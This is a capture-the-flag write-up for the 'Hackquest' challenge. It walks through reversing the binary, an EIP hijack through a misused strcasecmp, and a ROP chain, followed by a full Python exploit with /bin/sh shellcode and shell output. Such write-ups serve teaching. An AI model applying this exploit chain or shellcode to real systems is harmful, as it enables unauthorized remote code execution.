There was three challenges: crypto (Tel Aviv), crackme (AL's revenge) and exploitation (Hackquest). You will notice strong references to Hackers (1995) movie. Write-ups can be found on FixMe wiki, Leet More blog or Eindbazen blog.
Hackquest
Summary: given the file and an IP:port running it, find the key.Connecting to the service reveals a adventure game:
$ nc hackquest.ghostintheshellcode.com 7331 The 1337 Adventures of an Unknown Hacker What is your name? Case Welcome, Case, to your adventure. [...](read full story)
The file appears to be a Linux 32bit binary:
$ file * 9692febb68918a3c5127c56a5320439d.bin: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, stripped
Find the vulnerability, get EIP
Reverse-engineer the binary, name the different game functions, take time to create the appropriate data structures to see what is going on, then you start understanding how it works. Basically you have structures for objects and places. Using an object of a certain type executes the function pointer in the data structure. Interesting:if ( object->type && object->type != 2 && object->type != 3 ) { if ( strcasecmp((const char *)&object->to_obtain->article, target) ) { do_send(fd, "Your target is invalid for that item.\n"); valid = 0; } else { do_send(fd, object->result); ((void (__cdecl *)(int))object->to_go->name)(fd); res = LOBYTE(object->to_go->next); } }The strcasecmp looks strange: it does not look at the string but its address casted as a string.
Let's verify this behaviour. First, we need to reach that particular code with the following game sequence:
get can use can go south get letter use letter on xxx
The object being used in the previous code is the letter:
.data:0804C1C4 letter dd offset aA ; "a" .data:0804C1C8 dd offset aLetterAddr ; "letter addressed to %s" .data:0804C1CC dd offset aIDonTKnowH ; "I don't know how else to reach..." .data:0804C1D0 dd 0 .data:0804C1D4 dd 4 .data:0804C1D8 dd offset name ; "to_go" field .data:0804C1D8 ; points to player name .data:0804C1DC dd offset password ; "to_obtain" field .data:0804C1DC ; points to password object
Now we can run the binary with a library call tracer such as ltrace (with -f to trace child):
$ ltrace -f ./bin [...] then connect and reach the code with the game sequence [pid 19160] strcasecmp(".\242\004\b\274\242\004\b\336\242\004\b\014\302 \004\b\002", "xxx") = -74Interesting, this is constant! It actually corresponds to the data structure at the address of the password object you normally get after reading the letter:
.data:0804C188 password dd offset aA ; "a" .data:0804C188 ; dd 804A22Eh .data:0804C18C dd offset aPasswordTo ; "password to your friend's..." .data:0804C18C ; dd 804A2BCh .data:0804C190 dd offset aThePasswor ; "The password was accepted.." .data:0804C190 ; dd 804A2DEh .data:0804C194 dd offset bedroomcomp ; dd 804C20Ch .data:0804C198 dd 2So we can forge the target to this particular value and reach the "else" block which calls... the player name, which is user controlled data. We have EIP! The four first bytes of our user name are read and called. But where should we go to?
From EIP to code execution: first attempt
In the "get" game function, the game adds the object to the player's inventory. I called this add_to_inventory (0x080490B0):int __cdecl add_to_inventory(object_t *item) { inventory = (object_t *)realloc(inventory, 28 * (inventory_size + 1)); memcpy(&inventory[inventory_size], item, 28u); if ( item->type == 4 ) { inventory[inventory_size].description = (char *)mmap(0, 4096u, 3, 34, -1, 0); snprintf(inventory[inventory_size].description, 4095u, item->description, item->to_go); } return inventory_size++ + 1; }For an object of type 4 (such as the letter), it formats the description ("letter addressed to %s") with what I named the to_go field (corresponds to the player name) and copies that into an mmap with perms 3, which means +rw PROT_READ(0x1)|PROT_WRITE(0x2). If it had +x, we could have imagined using it (though we would have also needed a way to leak the mmap address). So we must find something else.
Shift the stack pointer
Going back to EIP, if we give a big enough command-line, this goes to a stack buffer and we notice that from a certain point it is there. Using Metasploit's pattern_create/pattern_offset technique we precisely determine the minimum number of bytes we have to skip. Then we find an appropriate gadget (I like ropeme for that): there is a nice add esp 0x9c; ret at 0x8049019. So the idea is to go to this gadget then it is like a regular stack buffer overflow since we control enough of the rest of the stack.So let's do it like last year's Ghost in the Shellcode in three steps:
- ret to mmap @ PLT to have an rwx area
- ret to recv @ PLT to receive a shellcode
- ret to the area and execute the shellcode!
Exploit
#!/usr/bin/python import sys, socket, select from struct import pack, unpack HOST = "hackquest.ghostintheshellcode.com" PORT = 7331 DEBUG = False read_plt = 0x08048784 mmap_plt = 0x080486D4 shift_esp = 0x8049019 # add esp 0x9c pop_7 = 0x8048f61 # add esp 0x1c pop_3 = 0x8049ce6 # pop esi ; pop edi ; pop ebp area = 0x13370000 size = 0x1000 fd = 4 # socket fd # shellcode -- socket reuse + /bin/sh SC = "\x31\xc9\x31\xdb\xb3" + chr(fd) + "\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5" SC += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" # match "use" strcasecmp target = pack("<I", 0x804A22E) + pack("<I", 0x804A2BC) target += pack("<I", 0x804A2DE) + pack("<I", 0x804C20C) + chr(2) def connect(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST,PORT)) return s def send(s, m): if DEBUG: print "S: %s" % repr(m) return s.send(m) def recv(s, size=4096, timeout=0.5): data = "" while True: r,w,e = select.select([s], [], [], timeout) if r: d = s.recv(size) if DEBUG: print "R: %s" % repr(d) data += d else: return data def cmd(s, cmd): send(s, cmd+"\n") return recv(s) def interact(s): while True: try: sys.stdout.write("$ ") c = sys.stdin.readline().strip() if len(c): send(s, c + "\n") sys.stdout.write(recv(s)) except KeyboardInterrupt, e: print "^C exiting..." break def main(): name = pack("<I", shift_esp) rop = pack("<I", mmap_plt) rop += pack("<I", pop_7) rop += pack("<I", area) # void *addr rop += pack("<I", size) # size_t length rop += pack("<I", 0x7) # int prot - PROT_READ(0x1) | PROT_WRITE(0x2) | PROT_EXEC(0x4) rop += pack("<I", 0x22) # int flags - MAP_ANONYMOUS(0x20) | MAP_PRIVATE(0x02) rop += pack("<I", 0xffffffff) # int fd - MAP_ANONYMOUS => -1 rop += pack("<I", 0) # off_t offset rop += pack("<I", 0)*(7-6) # unused rop += pack("<I", read_plt) rop += pack("<I", pop_3) rop += pack("<I", fd) # int fd rop += pack("<I", area) # void *buf rop += pack("<I", len(SC)) # size_t nbytes rop += pack("<I", area) s = connect() recv(s) cmd(s, name) cmd(s, "get c") cmd(s, "use c") cmd(s, "go s") cmd(s, "get l") cmd(s, "use l on " + target + "\x00" + "A"*41 + rop) send(s, SC) if cmd(s, "id").startswith("uid="): print "[+] Success!" interact(s) else: print "[-] Failed :(" if __name__ == "__main__": main()Link: hackquest.py
Hacking the Gibson:
$ python hackquest.py [+] Success! $ id uid=1001(hackquest) gid=1001(hackquest) $ ls hackquest key.txt $ cat key.txt Real hacks pwn Hollywood hacks.
Thanks to clem1 (@_clem1) for his help on this challenge.
Stalkr et clem1 quel duo de choc :)
ReplyDeleteSanté Bonheur les gars :-D
Hehe, a toi aussi dude. :)
ReplyDelete